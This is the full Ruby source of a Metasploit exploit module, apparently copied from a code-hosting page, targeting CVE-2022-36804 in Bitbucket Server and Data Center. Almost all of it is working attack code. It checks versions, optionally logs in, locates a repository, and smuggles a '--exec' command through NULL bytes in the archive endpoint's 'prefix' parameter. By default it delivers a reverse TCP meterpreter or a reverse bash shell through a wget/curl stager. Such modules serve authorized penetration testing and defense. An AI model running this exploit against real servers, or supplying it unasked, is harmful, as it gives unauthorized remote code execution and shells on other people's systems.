Path: blob/master/modules/exploits/linux/http/bitbucket_git_cmd_injection.rb
31510 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Bitbucket Git Command Injection',17'Description' => %q{18Various versions of Bitbucket Server and Data Center are vulnerable to19an unauthenticated command injection vulnerability in multiple API endpoints.2021The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint22creates an archive of the repository, leveraging the `git-archive` command to do so.23Supplying NULL bytes to the request enables the passing of additional arguments to the24command, ultimately enabling execution of arbitrary commands.25},26'License' => MSF_LICENSE,27'Author' => [28'TheGrandPew', # discovery29'Ron Bowes', # analysis and PoC30'Jang', # testanull - PoC31'Shelby Pace' # Metasploit module32],33'References' => [34[ 'URL', 'https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/' ],35[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],36[ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],37[ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],38[ 'CVE', '2022-36804' ]39],40'Privileged' => false,41'Targets' => [42[43'Linux Dropper',44{45'Platform' => 'linux',46'Type' => :linux_dropper,47'Arch' => [ ARCH_X86, ARCH_X64 ],48'CmdStagerFlavor' => %w[wget curl bourne],49'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }50}51],52[53'Unix Command',54{55'Platform' => 'unix',56'Type' => :unix_cmd,57'Arch' => ARCH_CMD,58'Payload' => { 'BadChars' => %(:/?#[]@) },59'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }60}61]62],63'DisclosureDate' => '2022-08-24',64'DefaultTarget' => 0,65'Notes' => {66'Stability' => [ CRASH_SAFE ],67'Reliability' => [ REPEATABLE_SESSION ],68'SideEffects' => [ IOC_IN_LOGS ]69}70)71)7273register_options(74[75Opt::RPORT(7990),76OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),77OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),78OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])79]80)81end8283def check84res = send_request_cgi(85'method' => 'GET',86'keep_cookies' => true,87'uri' => normalize_uri(target_uri.path, 'login')88)8990return CheckCode::Unknown('Failed to receive response from application') unless res9192unless res.body.include?('Bitbucket')93return CheckCode::Safe('Target does not appear to be Bitbucket')94end9596footer = res.get_html_document&.at('footer')97return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer9899version_str = footer.at('span')&.children&.text100return CheckCode::Detected('Cannot find version string in footer') unless version_str101102matches = version_str.match(/v(\d+\.\d+\.\d+)/)103return CheckCode::Detected('Version unknown') unless matches && matches.length > 1104105version_str = matches[1]106vprint_status("Found Bitbucket version: #{matches[1]}")107108num_vers = Rex::Version.new(version_str)109return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')110111major, minor, revision = version_str.split('.')112case major113when '6'114return CheckCode::Appears115when '7'116case minor117when '6'118return CheckCode::Appears if revision.to_i < 17119when '17'120return CheckCode::Appears if revision.to_i < 10121when '21'122return CheckCode::Appears if revision.to_i < 4123end124when '8'125case minor126when '0', '1'127return CheckCode::Appears if revision.to_i < 3128when '2'129return CheckCode::Appears if revision.to_i < 2130when '3'131return CheckCode::Appears if revision.to_i < 1132end133end134135CheckCode::Detected136end137138def username139datastore['USERNAME']140end141142def password143datastore['PASSWORD']144end145146def authenticate147print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")148res = send_request_cgi(149'method' => 'GET',150'uri' => normalize_uri(target_uri.path, 'login'),151'keep_cookies' => true152)153154fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')155res = send_request_cgi(156'method' => 'POST',157'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),158'keep_cookies' => true,159'vars_post' =>160{161'j_username' => username,162'j_password' => password,163'submit' => 'Log in'164}165)166167fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res168res = send_request_cgi(169'method' => 'GET',170'uri' => normalize_uri(target_uri.path, 'dashboard'),171'keep_cookies' => true172)173174fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res175176unless res.body.include?('Your work') && res.body.include?('Projects')177fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')178end179180@authenticated = true181print_good('Successfully logged into Bitbucket!')182end183184def find_public_repo185print_status('Searching Bitbucket for publicly accessible repository')186res = send_request_cgi(187'method' => 'GET',188'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),189'keep_cookies' => true190)191192fail_with(Failure::Disconnected, 'Did not receive a response') unless res193json_data = JSON.parse(res.body)194fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data195196unless json_data['size'] > 0197fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')198end199200# opt for public repos unless none exist.201# Attempt to use a private repo if so202repos = json_data['values']203possible_repos = repos.select { |repo| repo['public'] == true }204if possible_repos.empty? && @authenticated205possible_repos = repos.select { |repo| repo['public'] == false }206end207208fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?209possible_repos.each do |repo|210project = repo['project']211next unless project212213@project = project['key']214@repo = repo['slug']215break if @project && @repo216end217218fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo219print_good("Found public repo '#{@repo}' in project '#{@project}'!")220end221222def execute_command(cmd, _opts = {})223uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')224send_request_cgi(225'method' => 'GET',226'uri' => uri,227'keep_cookies' => true,228'vars_get' =>229{230'format' => 'zip',231'path' => Rex::Text.rand_text_alpha(2..5),232'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"233}234)235end236237def exploit238@authenticated = false239authenticate unless username.blank? && password.blank?240find_public_repo241242if target['Type'] == :linux_dropper243execute_cmdstager(linemax: 6000)244else245execute_command(payload.encoded)246end247end248end249250251